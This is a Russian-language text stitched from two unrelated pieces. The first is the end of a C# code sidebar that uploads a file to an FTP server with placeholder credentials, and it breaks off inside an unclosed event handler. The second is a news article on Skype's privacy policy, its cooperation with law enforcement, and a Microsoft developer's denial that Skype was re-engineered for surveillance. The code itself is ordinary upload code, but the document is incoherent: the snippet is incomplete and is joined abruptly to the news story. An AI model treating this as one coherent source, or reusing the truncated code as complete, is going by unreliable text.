" – Источник ошибки: " + e.Source + " – Текст ошибки: " + e.Message +
"\r\n");

Врезка 3. FTP клиент средствами класса на основе класса FTP Dot .NET

try
{
FtpConnection myFtpConnection =
new FtpConnection();
myFtpConnection.MessageReceived +=
new FtpConnectionEventHandler(connection_MessageReceived);

myFtpConnection.Host =
"ftp://myftpserver";
myFtpConnection.UserName =
"username";
myFtpConnection.Password =
"password";
myFtpConnection.RemoteDirectory =
"/temp/testforxakep";
myFtpConnection.Upload(@"C:\temp\sound.part1.mp3",
"sound.part1.mp3");
}

catch (WebException ex)
{

}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}

void connection_MessageReceived(object sender,
FtpConnectionEventArgs e)
{
Console.WriteLine(e.Message);

Сервис Skype начал полное сотрудничество с правоохранительными органами, насколько это технически и юридически возможно. Компания Microsoft может разрешить спецслужбам прослушивать разговоры пользователей Skype, а также предоставит доступ к их личной переписке, следуя «новой» политике полного содействия правоохранительным органам. Отметим, что с момента создания служба видеосвязи Skype была серьезным барьером, препятствующим правоохранительным органам в проведении слежки. Используя различные механизмы шифрования на протяжении нескольких лет Skype оставался одним из немногих сервисов, перехват данных которого был практически невозможным. Однако весной текущего года в сети начали появляться сообщения о том, что корпорация Microsoft переделывает архитектуру Skype, изменения в которой позволят правоохранительным органам «подключаться» к разговорам пользователей службы. В то же время представители Microsoft заявили, что предполагаемые изменения в программе являются обычными доработками продукта и нет никаких оснований считать, что администрация сервиса пытается разработать бэкдоры для правительственной «прослушки».

Напомним, что в мае прошлого года компания Microsoft запатентовала технологию «законного вмешательства», которая позволяет правоохранительным огранам «подключаться» к разговорам пользователей в различных VoIP-службах, а также «перехватывать» передаваемый контент без ведома самих пользователей. На вопрос о том, будет ли новая технология использоваться в службе Skype, разработчики не ответили. По данным ресурса Slate, владелец поменял политику конфиденциальности Skype, в нормах которой проглядывается готовность создателей сотрудничать с правоохранительными органами настолько близко, насколько это будет возможно с юридической и технологической точки зрения.

В соответствии с пунктом 3 политики конфиденциальности Skype, сервис и его партнеры могут предоставлять личные данные, содержимое разговоров и/или трафик данных пользователей в ответ на законный запрос органов судебной власти или правоохранительной системы. Кроме того мгновенные сообщения, переданные пользователем, будут сохраняться на протяжении 30 дней, если другой срок не будет истребован представителями госорганов.

Руководитель отдела разработки Марк Джиллетт в официальном блоге компании попытался опровергнуть эту новость.

«Было высказано предположение, что в архитектуру Skype, по приказу Microsoft, внесены изменения, обеспечивающие правоохранителям более широкий доступ к коммуникациям наших пользователей, – отметил руководитель отдела разработки. – Заблуждение. Перенос Skype в дата-центры Microsoft основан на нашем стремлении предоставить лучший продукт для наших пользователей. Этот шаг был сделан с целью повысить надежность платформы и увеличить скорость, с которой мы можем реагировать на проблемы. Это также дает нам возможность быстро внедрять новые интересные функции».

Второе предположение, которое опровергается в официальном блоге Skype, о том, что сервис недавно изменил свою политику в отношении правоохранительных органов.

«Команда в Skype, отвечающая на законные требования и просьбы со стороны правоохранительных органов, действует с 2005 года. Наша позиция всегда заключалась в том, чтобы содействовать правоохранителям, если они следуют соответствующим процедурам, если наша помощь требуется по закону и технически осуществима. Дополнительную информацию по нашей позиции вы найдете в правилах, размещенных на нашем сайте», – отвечает на это Марк Джиллетт.

Также разработчик опроверг предположение, что Skype начал отслеживать и записывать аудио- и видеозвонки пользователей и предоставил спецслужбам возможность легкого доступа к мгновенным сообщениям.

Не отменена, подчеркивает Марк Джиллетт, и практика шифрования звонков. «Только в версии ПО для Китая содержится фильтр чата в соответствии с местным законодательством», - добавил начальник отдела разработки.

Статьи по теме: